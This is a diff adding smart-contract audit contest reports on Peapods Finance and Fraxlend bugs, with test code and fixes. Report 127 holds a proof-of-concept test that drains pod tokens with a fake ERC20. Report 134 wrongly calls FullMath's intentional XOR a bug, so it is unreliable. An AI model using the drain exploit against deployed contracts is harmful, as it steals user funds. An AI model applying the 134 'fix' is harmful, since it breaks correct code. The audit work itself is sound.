+++ b/125.md
@@ -0,0 +1,50 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Using `addLeverageFromTkn` is impossible when there is more than 1 token in a pod
+
+### Summary
+
+Using `addLeverageFromTkn` is impossible when there is more than 1 token in a pod
+
+### Root Cause
+
+Upon using `addLeverageFromTkn` to convert a token to a pod, we have this code:
+```solidity
+_tkn.approve(_pod, _tkn.balanceOf(address(this)) - _tknBalBefore);
+IDecentralizedIndex(_pod).bond(address(_tkn), _tkn.balanceOf(address(this)) - _tknBalBefore, _amtPtknMintMin);
+```
+The issue is that bonding usually requires multiple tokens, not just one:
+```solidity
+for (uint256 _i; _i < _il; _i++) {
+ ...
+ _transferFromAndValidate(IERC20(indexTokens[_i].token), _user, _transferAmt);
+ ...
+}
+```
+The function incorrectly assumes that approving just 1 token of a pod will work, however if there are 2 or more tokens in a pod (the expected and most common scenario, 99.9% of cases will be like that), then the function will simply not work.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path needed, using the function will not work for 99.9% of pods
+
+### Impact
+
+Broken functionality, rendering a functionality completely useless
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Compute the amounts needed of each token in a pod and approve them
\ No newline at end of file
diff --git a/126.md b/126.md
new file mode 100644
index 0000000..f50cd7b
--- /dev/null
+++ b/126.md
@@ -0,0 +1,120 @@
+Fast Khaki Raccoon
+
+High
+
+# `receiveFlashLoan` does not save the balancer fee, which would cause the TX to revert
+
+### Summary
+
+`receiveFlashLoan` does not save the balancer fee, causing the TX to revert and making the whole balancer flash module unusable.
+
+### Root Cause
+
+`receiveFlashLoan` will save the fee locally (i.e. only in this function), but would not override `_userData` when passing the data to `IFlashLoanRecipient` with `callback`, which means that the actual parameter `_fData.fee` will be 0.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L47-L57
+```solidity
+ function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ _fData.fee = _feeAmounts[0];
+
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+ IFlashLoanRecipient(_fData.recipient).callback(_userData);
+ }
+```
+
+Since we know that `_d.fee` would be 0 we would also find that `_flashPaybackAmt` won't be sufficient to pay the whole flash loan (as it's missing the fee), which would cause the TX to revert.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L328-L342
+```solidity
+ uint256 _flashPaybackAmt = _d.amount + _d.fee;
+ uint256 _borrowAmt = _overrideBorrowAmt > _flashPaybackAmt
+ ? _overrideBorrowAmt
+ : _flashPaybackAmt;
+
+ // IFraxlendPair(positionProps[_positionId].lendingPair).collateralContract()
+ address _aspTkn = _getAspTkn(_props.positionId);
+ IERC20(_aspTkn).safeTransfer(positionProps[_props.positionId].custodian, _aspTknCollateralBal);
+
+ LeveragePositionCustodian(positionProps[_props.positionId].custodian).borrowAsset(
+ positionProps[_props.positionId].lendingPair, _borrowAmt, _aspTknCollateralBal, address(this)
+ );
+
+ // pay back flash loan and send remaining to borrower
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _flashPaybackAmt);
+ uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+There is no attack path, just the balancer flash module being unusable.
+
+### Impact
+
+Not storing the fee and continuing the call will result in it not being paid, which would revert the whole TX, thus making the balancer flash module unusable.
+
+### PoC
+
+The bellow code can be ran in remix to test the functionality of the bug
+```solidity
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity >=0.8 <0.9.0;
+
+import "hardhat/console.sol";
+
+contract ShadowFactory {
+ struct FlashData {
+ address some;
+ uint256 fee;
+ uint256[] arr;
+ }
+ function encoder() public pure returns (bytes memory) {
+ uint256[] memory arr = new uint256[](2);
+ arr[0] = 3;
+ arr[1] = 8;
+ FlashData memory data = FlashData(address(32), 3, arr);
+ return abi.encode(data);
+ }
+
+ function tryItOut(bytes memory userData) external pure {
+ FlashData memory flash = abi.decode(userData, (FlashData));
+ flash.fee = 8;
+ someOther(userData);
+ }
+
+ function someOther(bytes memory data) public pure {
+ FlashData memory flash = abi.decode(data, (FlashData));
+ console.log(flash.fee);
+ }
+}
+```
+
+### Mitigation
+
+Make sure the fee is saved, example of how the problem can be solved:
+
+
+```diff
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+
+ _fData.fee = _feeAmounts[0];
++ _userData = abi.encode(_fData);
+
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+ IFlashLoanRecipient(_fData.recipient).callback(_userData);
+```
\ No newline at end of file
diff --git a/127.md b/127.md
new file mode 100644
index 0000000..04b83ff
--- /dev/null
+++ b/127.md
@@ -0,0 +1,111 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Malicious ERC20 Token Can Drain Legitimate User Funds in Leverage Manager
+
+### Summary
+
+The [addLeverage function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L81-L102) lacks proper validation of the pod token used in leverage operations. This allows an attacker to introduce a malicious ERC20 token that mimics the expected pod token but is not actually associated with the position. The function proceeds with the leverage addition, transferring real pod tokens from the leverage manager while only using the attacker’s fake token. As a result, Legitimate pod tokens can be drained from the leverage manager while the attacker’s fake token remains unutilized.
+```solidity
+function addLeverage(
+ uint256 _positionId,
+ address _pTkn,
+ uint256 _pTknAmt,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+) external {
+ // 1. First records initial balance
+ uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+
+ // 2. Transfers pod tokens from user to contract
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _pTknAmt);
+
+ // 3. Calculates actual amount received
+ uint256 actualReceived = IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore;
+
+ // 4. Passes to callback function
+ _addLeveragePreCallback(
+ _msgSender(),
+ _positionId,
+ _pod, // Note: This gets overridden if positionId != 0
+ actualReceived,
+ ...
+ );
+}
+```
+
+
+### Root Cause
+
+_No response_
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users can exploit this mismatch to claim stuck pods in the LeverageManager contract by deploying any ERC20 token causing Unauthorized Asset Draining
+
+### PoC
+
+```solidity
+function testAddLeverageWithAttackerDrain() public {
+ uint256 pTknAmt = INITIAL_BALANCE;
+ uint256 pairedLpDesired = INITIAL_BALANCE / 2;
+ bytes memory config = abi.encode(0, 1000, block.timestamp + 1 hours);
+ uint256 aliceAssetBalanceBefore = IERC20(dai).balanceOf(ALICE);
+
+ vm.startPrank(ALICE);
+ deal(address(peas), ALICE, pTknAmt * 100);
+ // wrap into the pod
+ peas.approve(address(pod), peas.totalSupply());
+ pod.bond(address(peas), pTknAmt, 0);
+
+ pod.transfer(address(leverageManager), pTknAmt);
+
+ uint256 leverageManagerPodBalanceBefore = pod.balanceOf(address(leverageManager));
+ assertEq(leverageManagerPodBalanceBefore, pTknAmt, "Leverage Manager should have the pod token");
+
+ address attacker = address(0x929292929);
+ vm.startPrank(attacker);
+ // attacker deployed fake mocked erc20
+ MockERC20 mockERC20 = new MockERC20("", "");
+ // attacker minted fake erc20
+ mockERC20.mint(attacker, pTknAmt);
+ // initialized a position with the created pod
+ uint256 positionId = leverageManager.initializePosition(address(pod), attacker, address(0), false);
+
+ deal(dai, address(attacker), 10 ** 18); // flashloan fee
+
+ IERC20(dai).approve(address(leverageManager), type(uint256).max);
+ mockERC20.approve(address(leverageManager), type(uint256).max);
+
+ leverageManager.addLeverage(positionId, address(mockERC20), pTknAmt, pairedLpDesired, 0, false, config);
+
+ uint256 leverageManagerPodBalanceAfter = pod.balanceOf(address(leverageManager));
+ assertEq(leverageManagerPodBalanceAfter, 0, "Leverage Manager should have zero pod token");
+ }
+```
+
+### Mitigation
+
+Add a validation to ensure the provided pod matches the inputs pod when position id is not 0, as well `addLeverageFromTkn()`
+```solidity
+if (_positionId != 0) {
+ require(_pod == positionProps[_positionId].pod, "Invalid pod token for position");
+}
+uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _pTknAmt);
+```
\ No newline at end of file
diff --git a/129.md b/129.md
new file mode 100644
index 0000000..25d2a18
--- /dev/null
+++ b/129.md
@@ -0,0 +1,36 @@
+Joyous Opaque Buffalo
+
+Medium
+
+# Use of `highExchangeRate` for Borrower Solvency Checks
+
+### Summary and Impact
+
+The protocol checks whether a borrower is solvent by referencing `highExchangeRate` for collateral valuation. Because this uses the more optimistic price, a user’s collateral balance can appear sufficient even when it isn’t. This flaw contrasts with how liquidation uses a lower price (i.e. `lowExchangeRate`), causing a mismatch: a position might remain unliquidated while actually undercollateralized. If left unaddressed, it undermines the system’s assurances that all outstanding loans remain safe. Collateral is mispriced in solvency checks, violating the protocol’s expectation that the core loan mechanics precisely track real or conservative valuations. Over time, users holding undercollateralized positions can quietly accumulate bad debt, making the protocol pay out more than the collateral is worth.
+
+This behavior misaligns with the documentation’s goal of ensuring that every loan remains above a defined Loan‐to‐Value threshold. It also breaks the invariant that any attempt to borrow or remove collateral must keep positions solvent at a fair or conservative exchange rate.
+
+---
+
+### Vulnerability Details
+
+A core snippet from `FraxlendPairCore.sol` is the `_isSolvent(...)` function:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L225-L253
+
+When `_exchangeRate` is set to `highExchangeRate`, the code multiplies the borrower’s debt by an artificially low factor (if that factor is in favor of the borrower), making the loan look safer than it actually is. Meanwhile, the liquidation path uses `lowExchangeRate`, so the system believes the collateral is worth less when it comes time to seize it. This mismatch can hide insolvent positions from real-time checks, thus letting them slip by standard LTV thresholds.
+
+In normal operation, a protocol reliant on strong invariants must ensure consistent pricing for solvency checks. Using a generous rate in `_isSolvent(...)` contradicts those invariants. It’s not only an edge case; it’s a hidden means of undercollateralization.
+
+---
+
+### Tools Used
+- Manual Review
+
+---
+
+### Recommendations
+
+Use a uniformly conservative exchange rate for all collateral valuation steps to align the protocol’s solvency checks with the liquidation process. Specifically, rely on the lower or a mid-range rate whenever `_isSolvent(...)` is called. By ensuring the same (or more conservative) price across borrowing, collateral withdrawals, and liquidations, the protocol prevents users from exploiting the difference and maintains the invariant that no position is actually undercollateralized if it passes a solvency check.
+
+A straightforward fix would be to replace references to `highExchangeRate` with `lowExchangeRate` or a safe average. The system should not treat collateral as more valuable when deciding whether it remains above the LTV threshold.
\ No newline at end of file
diff --git a/130.md b/130.md
new file mode 100644
index 0000000..fcd057e
--- /dev/null
+++ b/130.md
@@ -0,0 +1,89 @@
+Joyous Opaque Buffalo
+
+High
+
+# Fee-on-transfer tokens break core accounting in FraxlendPair deposit and collateral functions
+
+### Summary and Impact
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L578
+
+The FraxlendPairCore contract fails to properly account for fee-on-transfer tokens in its deposit and collateral management functions. The protocol assumes the amount transferred equals the specified amount, but for tokens that take a fee on transfer, this assumption is incorrect.
+
+Looking at the documentation and protocol invariants, we can see this violates a core principle of the system: accurate accounting of assets and shares. The protocol documentation emphasizes the importance of precise asset tracking for determining interest rates, liquidation thresholds, and collateralization ratios.
+
+This vulnerability affects any markets created with fee-on-transfer tokens as either the asset or collateral token. When users interact with these markets, the protocol will record incorrect balances, leading to unfair share distribution and potentially incorrect liquidation calculations.
+
+### Vulnerability Details
+The core issue lies in how the FraxlendPair handles token transfers. Let's examine the `_deposit` function in FraxlendPairCore.sol:
+
+```solidity
+function _deposit(
+ VaultAccount memory _totalAsset,
+ uint128 _amount,
+ uint128 _shares,
+ address _receiver,
+ bool _shouldTransfer
+) internal {
+ // Effects: bookkeeping
+ _totalAsset.amount += _amount; // Uses pre-fee amount
+ _totalAsset.shares += _shares; // Shares based on pre-fee amount
+
+ // Effects: write back to storage
+ _mint(_receiver, _shares);
+ totalAsset = _totalAsset;
+
+ // Interactions
+ if (_shouldTransfer) {
+ assetContract.safeTransferFrom(msg.sender, address(this), _amount);
+ }
+}
+```
+
+The function performs accounting before the actual transfer and assumes the full amount is received. However, with a fee-on-transfer token that takes, say, 2% on each transfer:
+
+1. A user deposits 100 tokens
+2. The protocol records 100 tokens in `_totalAsset.amount`
+3. The actual transfer only yields 98 tokens to the contract
+4. The user receives shares for 100 tokens despite only contributing 98
+
+Here's a proof of concept demonstrating the issue:
+
+```solidity
+function testFeeTokenDeposit() public {
+ // Setup: Deploy pair with MockFeeToken(2% fee)
+ uint256 depositAmount = 100e18;
+
+ // Initial state
+ uint256 initialBalance = pair.totalAssets();
+
+ // User deposits 100 tokens
+ vm.startPrank(user);
+ feeToken.approve(address(pair), depositAmount);
+ uint256 sharesMinted = pair.deposit(depositAmount, user);
+
+ // Verify discrepancy
+ uint256 actualDeposit = pair.totalAssets() - initialBalance;
+ assertLt(actualDeposit, depositAmount); // Actual deposit is less than recorded
+
+ // But shares were minted for full amount
+ uint256 expectedShares = pair.toAssetShares(depositAmount, false);
+ assertEq(sharesMinted, expectedShares); // Shares minted for pre-fee amount
+}
+```
+
+The same issue exists in collateral handling:
+```solidity
+function _addCollateral(address _sender, uint256 _collateralAmount, address _borrower) internal {
+ userCollateralBalance[_borrower] += _collateralAmount; // Pre-fee amount
+ totalCollateral += _collateralAmount; // Pre-fee amount
+
+ collateralContract.safeTransferFrom(_sender, address(this), _collateralAmount);
+}
+```
+
+### Tools Used
+- Manual Review
+- Foundry
+
+### Recommendations
+Implement balance tracking before and after transfers to account for any fees
\ No newline at end of file
diff --git a/131.md b/131.md
new file mode 100644
index 0000000..361997a
--- /dev/null
+++ b/131.md
@@ -0,0 +1,61 @@
+Joyous Opaque Buffalo
+
+Medium
+
+# Unclearable Dust Positions Due to minCollateralRequiredOnDirtyLiquidation Threshold Causing Protocol Deadlock
+
+### Summary and Impact
+The FraxlendPair implementation can result in positions becoming permanently stuck in an insolvent state due to the `minCollateralRequiredOnDirtyLiquidation` threshold check in the liquidation function. When a borrower's leftover collateral falls into a specific range - positive but below `minCollateralRequiredOnDirtyLiquidation` - the position cannot be liquidated either partially or fully. This creates a deadlock where insolvent positions accumulate interest but cannot be cleared from the system.
+
+This directly contradicts the protocol's core functionality as described in the documentation: "Fraxlend adheres to the EIP-4626: Tokenized Vault Standard... anyone [can] create and participate in lending and borrowing activities." The inability to liquidate certain positions violates this principle by preventing proper market operation and risk management.
+
+### Vulnerability Details
+The vulnerability exists in the liquidation logic within FraxlendPairCore.sol:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1100-L1208
+
+Here's a test demonstrating the issue:
+
+```solidity
+function testDustPositionDeadlock() public {
+ // Setup initial borrowing position
+ uint256 borrowAmount = 100 ether;
+ uint256 collateralAmount = 110 ether;
+
+ vm.startPrank(borrower);
+ lendingPair.borrowAsset(borrowAmount, collateralAmount, borrower);
+
+ // Price drops, making position insolvent
+ mockExchangeRate(50 ether); // 50% price drop
+
+ // Try to liquidate with amount that would leave dust
+ vm.startPrank(liquidator);
+ uint128 sharesToLiquidate = 90; // Calculated to leave dust
+
+ // This reverts due to dust check
+ vm.expectRevert("BadDirtyLiquidation");
+ lendingPair.liquidate(sharesToLiquidate, block.timestamp + 1, borrower);
+
+ // Position remains insolvent but can't be liquidated
+ assertFalse(lendingPair._isSolvent(borrower, 50 ether));
+}
+```
+
+The issue manifests when:
+1. A position becomes insolvent due to price movement
+2. The liquidation attempt would leave collateral above 0 but below `minCollateralRequiredOnDirtyLiquidation`
+3. The transaction reverts, leaving the position stuck
+
+This creates a permanent deadlock because:
+- Partial liquidation reverts due to dust check
+- Full liquidation isn't triggered because leftover collateral is positive
+- The position remains insolvent and accumulates interest
+- Protocol cannot recover the borrowed assets
+
+### Tools Used
+- Manual Review
+- Foundry
+
+### Recommendations
+
+Add a fallback mechanism for dust positions.
diff --git a/132.md b/132.md
new file mode 100644
index 0000000..e724b50
--- /dev/null
+++ b/132.md
@@ -0,0 +1,80 @@
+Joyous Opaque Buffalo
+
+High
+
+# Permanent Protocol Paralysis via Timelock Renouncement
+
+### Summary and Impact
+
+The `renounceTimelock()` function in FraxlendPair allows permanent and irreversible disabling of protocol parameter updates, which can lead to a full protocol freeze. According to the documentation, FraxlendPair relies heavily on timelock controls for critical parameter updates, including fees, maxLTV, oracle configurations, and pause functionality.
+
+Once timelock is renounced, the protocol loses the ability to:
+- Adjust maxLTV in response to market conditions
+- Update configurations
+- Change protocol fees
+- Unpause the protocol during emergencies
+- Respond to any critical situations requiring parameter updates
+
+
+To maintain yield and safety, the protocol must be able to adjust parameters based on market conditions. A frozen protocol puts all depositor funds at risk if market conditions change and parameters can't be updated.
+
+### Vulnerability Details
+
+The vulnerability exists in the `Timelock2Step.sol` contract:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/Timelock2Step.sol#L117-L122
+
+This function permanently sets `timelockAddress` to `address(0)`. After this occurs, critical functions become permanently inaccessible due to the `_requireTimelock()` modifier:
+
+```solidity
+function _requireTimelock() internal view {
+ if (msg.sender != timelockAddress) revert OnlyTimelock();
+}
+```
+
+Test demonstrating the vulnerability:
+
+```solidity
+function testTimelockPermanentFreeze() public {
+ // Initial parameter update works
+ vm.startPrank(timelockAddress);
+ uint256 newMaxLTV = 9e4;
+ fraxlendPair.setMaxLTV(newMaxLTV);
+ assertEq(fraxlendPair.maxLTV(), newMaxLTV);
+
+ // Renounce timelock
+ fraxlendPair.renounceTimelock();
+
+ // Protocol is now frozen - critical updates impossible
+ vm.expectRevert();
+ fraxlendPair.setMaxLTV(8e4);
+
+ vm.expectRevert();
+ fraxlendPair.unpause();
+
+ vm.expectRevert();
+ fraxlendPair.changeFee(1000);
+}
+```
+
+This freezes ALL privileged functions including:
+- `setMaxLTV()`
+- `changeFee()`
+- `unpause()`
+- `setRateContract()`
+
+The frozen state is particularly dangerous because:
+
+1. Market crashes may require immediate maxLTV adjustments to prevent undercollateralization
+2. Oracle issues may need quick configuration updates
+3. Emergency situations requiring protocol pause become unmanageable
+4. Interest rate models can't be updated if market conditions change dramatically
+
+
+### Tools Used
+- Manual Review
+- Foundry
+
+### Recommendations
+
+Remove the `renounceTimelock()` function entirely. If governance renunciation is absolutely necessary, implement a staged process.
\ No newline at end of file
diff --git a/133.md b/133.md
new file mode 100644
index 0000000..e448366
--- /dev/null
+++ b/133.md
@@ -0,0 +1,107 @@
+Acidic Marmalade Robin
+
+Medium
+
+# Balancer flashloan fee is always 0, which can cause DoS if fee changes
+
+### Summary
+
+In [BalancerFlashSource.sol:receiveFlashLoan()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L47) the contract leaves `fee` equal to `0`, even though Balancer can change it (currently on all chains `_flashLoanFeePercentage` equals `0`). This can lead to a DoS if the fees change because they won't be included in the repay amounts for flashloan calculations in `LeverageManager.sol`.
+
+### Root Cause
+
+[BalancerFlashSource.sol:receiveFlashLoan()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L47) receives `fee` amount from balancer, but does not changes `_userData.fee` for `IFlashLoanRecipient.callback()`:
+
+```solidity
+function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+{
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ //@audit set fee received from Balancer
+ _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+ //@audit but call with _userData.fee = 0 (as initialized)
+ IFlashLoanRecipient(_fData.recipient).callback(_userData);
+}
+```
+
+Currently Balancer's [ProtocolFeesCollector](https://etherscan.io/address/0xce88686553686DA562CE7Cea497CE749DA109f9F#readContract#F4) has `_flashLoanFeePercentage` set to 0 on all chains, so now everything will work, but this may change.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+1. Balancer changes `flashLoanFeePercentage`
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Calls to [LeverageManager.sol:addLeverage()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L302) and [LeverageManager.sol:removeLeverage()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L189) will revert for positions using `BalancerFlashSource` if Balancer changes its fees.
+
+### PoC
+
+Add this code to `setUp()` function in `contracts/test/lvf/LeverageManager.t.sol`:
+
+```solidity
+//change flash loan fee for balancer to max allowed
+//it is stored in slot 2
+//0xce88686553686DA562CE7Cea497CE749DA109f9F - address for ProtocolFeesCollector on Ethereum
+vm.store(0xce88686553686DA562CE7Cea497CE749DA109f9F, bytes32(uint256(2)), bytes32(uint256(1e16)));
+```
+
+Run test in cmd with command (you may need to change rpc, this one works for me):
+
+```shell
+forge test -vvvvv --mt test_addLeverage --fork-url https://rpc.ankr.com/eth
+```
+
+Output:
+
+```shell
+ │ │ │ │ │ ├─ emit AddLeverage(positionId: 1, user: 0x0000000000000000000000000000000000000001, pTknAmtUsed: 100000000000000000000 [1e20], collateralAmt: 70710678118654751438 [7.071e19], borrowAmt: 50000000000000000000 [5e19])
+ │ │ │ │ │ └─ ← [Stop]
+ │ │ │ │ └─ ← [Stop]
+ │ │ │ ├─ [602] 0x6B175474E89094C44Da98b954EedeAC495271d0F::balanceOf(0xBA12222222228d8Ba445958a75a0704d566BF2C8) [staticcall]
+ │ │ │ │ └─ ← [Return] 1300236808262115569491478 [1.3e24]
+ │ │ │ └─ ← [Revert] revert: BAL#602
+ │ │ └─ ← [Revert] revert: BAL#602
+ │ └─ ← [Revert] revert: BAL#602
+ └─ ← [Revert] revert: BAL#602
+
+Suite result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 5.04s (2.32s CPU time)
+
+Ran 1 test suite in 7.06s (5.04s CPU time): 0 tests passed, 2 failed, 0 skipped (2 total tests)
+
+Failing tests:
+Encountered 2 failing tests in test/lvf/LeverageManager.t.sol:LeverageManagerTest
+[FAIL. Reason: revert: BAL#602] test_addLeverage() (gas: 2510732)
+[FAIL. Reason: revert: BAL#602] test_addLeverageFromTkn() (gas: 2541464)
+```
+
+As you can see, the error comes from the Balancer contract, where the returned balance does not match the expected amount, including fees.
+
+### Mitigation
+
+Change `BalancerFlashSource.sol:receiveFlashLoan()`:
+
+```diff
+function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+{
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
++ IFlashLoanRecipient(_fData.recipient).callback(abi.encode(_fData));
+}
+```
\ No newline at end of file
diff --git a/134.md b/134.md
new file mode 100644
index 0000000..debdc3c
--- /dev/null
+++ b/134.md
@@ -0,0 +1,64 @@
+Stale Porcelain Kestrel
+
+Medium
+
+# Incorrect Exponentiation Operator in FullMath.mulDiv
+
+A miscalculation in the `FullMath.mulDiv` function will cause incorrect inverse computation for smart contract users as developers mistakenly use the XOR operator instead of the exponentiation operator.
+
+---
+
+### **Summary**
+In `FullMath.sol`, an incorrect operator usage will cause **wrong inverse calculation** for smart contract users as **the developer mistakenly uses the bitwise XOR (`^`) instead of exponentiation (`**`)**.
+
+---
+
+### **Root Cause**
+In [FullMath.sol:86](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/libraries/FullMath.sol#L86) the expression:
+```solidity
+uint256 inv = (3 * denominator) ^ 2;
+```
+incorrectly uses the **bitwise XOR (`^`)** instead of **exponentiation (`**`)**.
+This results in a completely incorrect inverse value being calculated, leading to further miscalculations downstream.
+
+---
+
+### **Attack Path / Impact**
+1. A developer calls `FullMath.mulDiv(a, b, denominator)` expecting accurate division.
+2. The function computes `inv` incorrectly due to the use of XOR instead of exponentiation.
+3. The final result is incorrect, leading to inaccurate token distributions, financial calculations, or staking rewards.
+4. If this function is used in a DEX or lending protocol, incorrect calculations could result in unfair settlements or financial loss for users.
+
+#### **Impact Statement:**
+- **Smart contract users** will experience incorrect calculations, potentially leading to **loss of funds or broken logic** in DeFi applications.
+- **Protocols relying on this function** may distribute rewards inaccurately or settle trades incorrectly.
+
+---
+
+### **PoC (Proof of Concept)**
+#### **Incorrect Calculation (Current Code)**
+```solidity
+uint256 denominator = 7;
+uint256 inv = (3 * denominator) ^ 2; // XOR instead of exponentiation
+console.log(inv); // Incorrect value
+```
+
+#### **Correct Calculation (Fixed Code)**
+```solidity
+uint256 inv = (3 * denominator) ** 2; // Correct exponentiation usage
+console.log(inv); // Correct value
+```
+
+---
+
+### **Mitigation**
+1. **Replace the XOR (`^`) operator with exponentiation (`**`).**
+ ```solidity
+ uint256 inv = (3 * denominator) ** 2;
+ ```
+2. **Use explicit multiplication instead of relying on `**`.**
+ ```solidity
+ uint256 inv = (3 * denominator) * (3 * denominator);
+ ```
+4. **Write unit tests to verify modular inverse calculations before deployment.**
+This fix ensures correct modular inverse computation and prevents potential financial miscalculations in smart contracts.
\ No newline at end of file
diff --git a/135.md b/135.md
new file mode 100644
index 0000000..c63a345
--- /dev/null
+++ b/135.md
@@ -0,0 +1,73 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Adding leverage using a podded token will lead to a revert
+
+### Summary
+
+Adding leverage using a podded token will lead to a revert
+
+### Root Cause
+
+Pod tokens have a fee, they have a FoT token nature:
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ ...
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+This is not considered in the flow upon adding leverage and will lead to a revert when the fees or the transfer tax are on.
+
+### Internal Pre-conditions
+
+1. Fees and transfer tax is on for the pod token which is expected, otherwise it leads to "loss of funds" as no fees are sent
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Bob adds leverage for a pod with a paired token which is another pod (expected and specifically handled in the code)
+2. We add LP between the 2 tokens during the flow:
+```solidity
+_amountOut = _indexFund.addLiquidityV2(
+ IERC20(_indexFundAddy).balanceOf(address(this)) - (_idxTokensBefore == 0 ? 1 : _idxTokensBefore),
+ IERC20(_pairedLpToken).balanceOf(address(this)) - (_pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore),
+ _slippage,
+ _deadline
+ );
+```
+3. The code above correctly handles potential fees during the transfer as it is using a typical balance before & balance after FoT handling code
+4. Then we call `DecentralizedIndex.addLiquidityV2()` where we have this piece of code (NOTE: the function has a `noSwapOrFee` modifier which disables fees during the function call, however this is only for the `address(this)` pod token, not the `PAIRED_LP_TOKEN` pod):
+```solidity
+IERC20(PAIRED_LP_TOKEN).safeTransferFrom(_msgSender(), address(this), _pairedLPTokens);
+IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_HANDLER), _pairedLPTokens);
+
+DEX_HANDLER.addLiquidity(
+ ...
+ PAIRED_LP_TOKEN,
+ ...
+ _pairedLPTokens,
+ ...
+ );
+```
+5. We then call `UniswapDexAdapter::addLiquidity()` with the following code there:
+```solidity
+IERC20(_tokenB).safeTransferFrom(_msgSender(), address(this), _amountBDesired);
+```
+6. We directly transfer the function input of token amount, however due to the fee application, we don't actually have enough tokens, note that this revert will happen when the transfer tax is on (expected) as it is not considered a buy nor a sell in the `_update()` override
+7. If the transfer tax is not on for some reason, we will call the router where we then transfer to a V2 pool which incurs a sell fee, we would revert there
+
+### Impact
+
+The podded paired token functionality is unusable unless fees and transfer tax is disabled which then results in a loss of funds as no fees will be charged
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement some kind of a function which is called when we are working with a pod paired token which works in a similar way to the `noSwapOrFee` modifier and call it specifically on the pod paired token
\ No newline at end of file
diff --git a/136.md b/136.md
new file mode 100644
index 0000000..b5dcf72
--- /dev/null
+++ b/136.md
@@ -0,0 +1,44 @@
+Fast Khaki Raccoon
+
+Medium
+
+# A lock modifier will cause a revert when the flashloan source is the same as the pod token provided
+
+### Summary
+
+A lock modifier will cause a revert when the flashloan source is the same as the pod token provided
+
+### Root Cause
+
+Users can add leverage using the `LeverageManager`. There, this is a very generalized and simplified flow that occurs, only mentioning things important for the issue:
+1. Provide an amount of pod tokens
+2. Take a flashloan from a flashloan source, usually this would be the `DecentralizedIndex` contract which is the pod token contract
+3. Provide liquidity using the borrowed token (not always that exact token but this is a simplified flow) and the pod token using `DecentralizedIndex.addLiquidityV2()` where `DecentralizedIndex` is the provided pod token
+
+The issue is that taking a flashloan from `DecentralizedIndex` has a lock (reentrancy) modifier. Then, adding liquidity using `DecentralizedIndex.addLiquidityV2()` also has a lock modifier. Thus, if the flashloan source is the same pod as the pod tokens the user is providing, then a revert will occur.
+
